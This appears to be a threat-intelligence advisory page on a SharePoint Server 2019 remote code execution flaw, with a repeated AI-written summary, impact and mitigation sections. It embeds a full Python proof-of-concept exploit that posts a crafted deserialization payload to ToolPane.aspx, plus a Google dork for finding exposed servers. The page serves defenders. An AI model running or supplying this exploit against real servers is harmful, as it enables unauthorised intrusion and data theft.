Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The identified security threat pertains to a Remote Code Execution (RCE) vulnerability in Microsoft SharePoint Server 2019, specifically version 16.0.10383.20020. SharePoint Server is a widely used enterprise collaboration platform that integrates with Microsoft Office and is often deployed in corporate intranets and extranets. An RCE vulnerability allows an attacker to execute arbitrary code on the affected server remotely, potentially gaining full control over the system. This particular exploit targets SharePoint Server 2019, leveraging a flaw that enables attackers to send specially crafted requests to the server, bypassing authentication or input validation mechanisms. The presence of publicly available exploit code written in Python indicates that the vulnerability can be weaponized with relative ease by attackers with moderate technical skills. Although there are no patch links provided, the critical severity rating underscores the urgency of addressing this vulnerability. The exploit could be used to deploy malware, steal sensitive data, disrupt services, or pivot to other internal systems within an organization’s network. Given SharePoint’s role in storing and managing corporate documents and workflows, exploitation could lead to significant confidentiality, integrity, and availability impacts.
Potential Impact
For European organizations, the impact of this RCE vulnerability in SharePoint Server 2019 is substantial. Many European enterprises, government agencies, and public sector institutions rely on SharePoint for document management and collaboration. Successful exploitation could lead to unauthorized access to sensitive personal data protected under GDPR, resulting in legal and financial repercussions. Additionally, attackers could disrupt critical business processes, leading to operational downtime and reputational damage. The ability to execute arbitrary code remotely means attackers can deploy ransomware or other malware, potentially causing widespread disruption. The lack of known exploits in the wild currently may reduce immediate risk, but the availability of exploit code increases the likelihood of future attacks. Organizations with exposed SharePoint servers, especially those accessible from the internet or insufficiently segmented networks, face heightened risk.
Mitigation Recommendations
To mitigate this threat, European organizations should prioritize the following actions: 1) Immediately verify the SharePoint Server 2019 version in use and apply any official security patches or updates from Microsoft as soon as they become available. 2) Implement strict network segmentation and firewall rules to limit external access to SharePoint servers, allowing only trusted internal IPs or VPN connections. 3) Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious SharePoint requests that may exploit this vulnerability. 4) Conduct thorough security audits and penetration tests focused on SharePoint deployments to identify and remediate misconfigurations or vulnerabilities. 5) Monitor logs and network traffic for unusual activity indicative of exploitation attempts, such as anomalous HTTP requests or unexpected process executions on SharePoint servers. 6) Educate IT and security teams about the exploit and ensure incident response plans include scenarios involving SharePoint compromise. 7) Consider disabling or restricting features in SharePoint that are not essential, reducing the attack surface. 8) Regularly back up SharePoint data and verify backup integrity to enable recovery in case of ransomware or data corruption.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Sweden, Belgium, Poland
Indicators of Compromise
- exploit-code: # Exploit Title: Microsoft SharePoint Server 2019 – Remote Code Execution (RCE) # Google Dork: intitle:"Microsoft SharePoint" inurl:"/_layouts/15/ToolPane.aspx" # Date: 2025-08-07 # Exploit Author: Agampreet Singh (RedRoot Tool Maker – https://github.com/Agampreet-Singh/RedRoot) # Vendor Homepage: https://www.microsoft.com # Software Link: https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration # Version: SharePoint Server 2019 (16.0.10383.20020) # Tested on: Windows Server 2019 (x64) # CVE: CVE-2025-53770 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Exploit Author: Agampreet Singh (RedRoot Tool Maker) RedRoot Repository: https://github.com/Agampreet-Singh/RedRoot This PoC demonstrates unauthenticated RCE by exploiting unsafe deserialization in SharePoint’s ToolPane.aspx via the Scorecard:ExcelDataSet control. FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY. """ import requests import base64 import gzip import re import sys def exploit_sharepoint(target_url): print(f"[+] Target: {target_url}") headers = { "Referer": "/_layouts/SignOut.aspx", "Content-Type": "application/x-www-form-urlencoded" } payload = ''' <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %> <asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest"> <ProgressTemplate> <div class="divWaiting"> <Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet> </div> </ProgressTemplate> </asp:UpdateProgress> '''.strip() data = { "MSOTlPn_Uri": target_url, "MSOTlPn_DWP": payload } try: response = requests.post( f"{target_url}/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx", headers=headers, data=data, verify=False, timeout=10 ) if response.status_code != 200: print(f"[-] Unexpected HTTP response: {response.status_code}") return match = re.search(r'CompressedDataTable="([^&]+)', response.text) if not match: print("[-] No CompressedDataTable found in response.") return compressed_b64 = match.group(1) print("[+] Compressed payload extracted.") compressed_data = base64.b64decode(compressed_b64) decompressed_data = gzip.decompress(compressed_data) decoded_output = decompressed_data.decode('utf-8', errors='ignore') print("[+] Payload decoded successfully. Dumping to file...") output_file = "/tmp/sharepoint_decoded_payload.txt" with open(output_file, "w", encoding="utf-8") as f: f.write(decoded_output) print(f"[+] Saved to {output_file}") print("[*] Summary Matches:") for keyword in ["IntruderScannerDetectionPayload", "ExcelDataSet", "divWaiting", "ProgressTemplate", "Scorecard"]: if keyword in decoded_output: print(f" - Found: {keyword}") except Exception as e: print(f"[!] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 cve-2025-53770.py https://target.com") sys.exit(1) target = sys.argv[1].strip().rstrip('/') exploit_sharepoint(target)
Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
Description
Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The identified security threat pertains to a Remote Code Execution (RCE) vulnerability in Microsoft SharePoint Server 2019, specifically version 16.0.10383.20020. SharePoint Server is a widely used enterprise collaboration platform that integrates with Microsoft Office and is often deployed in corporate intranets and extranets. An RCE vulnerability allows an attacker to execute arbitrary code on the affected server remotely, potentially gaining full control over the system. This particular exploit targets SharePoint Server 2019, leveraging a flaw that enables attackers to send specially crafted requests to the server, bypassing authentication or input validation mechanisms. The presence of publicly available exploit code written in Python indicates that the vulnerability can be weaponized with relative ease by attackers with moderate technical skills. Although there are no patch links provided, the critical severity rating underscores the urgency of addressing this vulnerability. The exploit could be used to deploy malware, steal sensitive data, disrupt services, or pivot to other internal systems within an organization’s network. Given SharePoint’s role in storing and managing corporate documents and workflows, exploitation could lead to significant confidentiality, integrity, and availability impacts.
Potential Impact
For European organizations, the impact of this RCE vulnerability in SharePoint Server 2019 is substantial. Many European enterprises, government agencies, and public sector institutions rely on SharePoint for document management and collaboration. Successful exploitation could lead to unauthorized access to sensitive personal data protected under GDPR, resulting in legal and financial repercussions. Additionally, attackers could disrupt critical business processes, leading to operational downtime and reputational damage. The ability to execute arbitrary code remotely means attackers can deploy ransomware or other malware, potentially causing widespread disruption. The lack of known exploits in the wild currently may reduce immediate risk, but the availability of exploit code increases the likelihood of future attacks. Organizations with exposed SharePoint servers, especially those accessible from the internet or insufficiently segmented networks, face heightened risk.
Mitigation Recommendations
To mitigate this threat, European organizations should prioritize the following actions: 1) Immediately verify the SharePoint Server 2019 version in use and apply any official security patches or updates from Microsoft as soon as they become available. 2) Implement strict network segmentation and firewall rules to limit external access to SharePoint servers, allowing only trusted internal IPs or VPN connections. 3) Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious SharePoint requests that may exploit this vulnerability. 4) Conduct thorough security audits and penetration tests focused on SharePoint deployments to identify and remediate misconfigurations or vulnerabilities. 5) Monitor logs and network traffic for unusual activity indicative of exploitation attempts, such as anomalous HTTP requests or unexpected process executions on SharePoint servers. 6) Educate IT and security teams about the exploit and ensure incident response plans include scenarios involving SharePoint compromise. 7) Consider disabling or restricting features in SharePoint that are not essential, reducing the attack surface. 8) Regularly back up SharePoint data and verify backup integrity to enable recovery in case of ransomware or data corruption.
Affected Countries
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Technical Details
- Edb Id
- 52405
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
# Exploit Title: Microsoft SharePoint Server 2019 – Remote Code Execution (RCE) # Google Dork: intitle:"Microsoft SharePoint" inurl:"/_layouts/15/ToolPane.aspx" # Date: 2025-08-07 # Exploit Author: Agampreet Singh (RedRoot Tool Maker – https://github.com/Agampreet-Singh/RedRoot) # Vendor Homepage: https://www.microsoft.com # Software Link: https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration # Version: SharePoint Server 2019 (16.0.10383.20020) # Tested on: Windows Server 2019 (... (3574 more characters)
Threat ID: 689a95b8ad5a09ad002b097b
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 9/4/2025, 1:38:51 AM
Last updated: 9/4/2025, 2:50:52 PM
Views: 38
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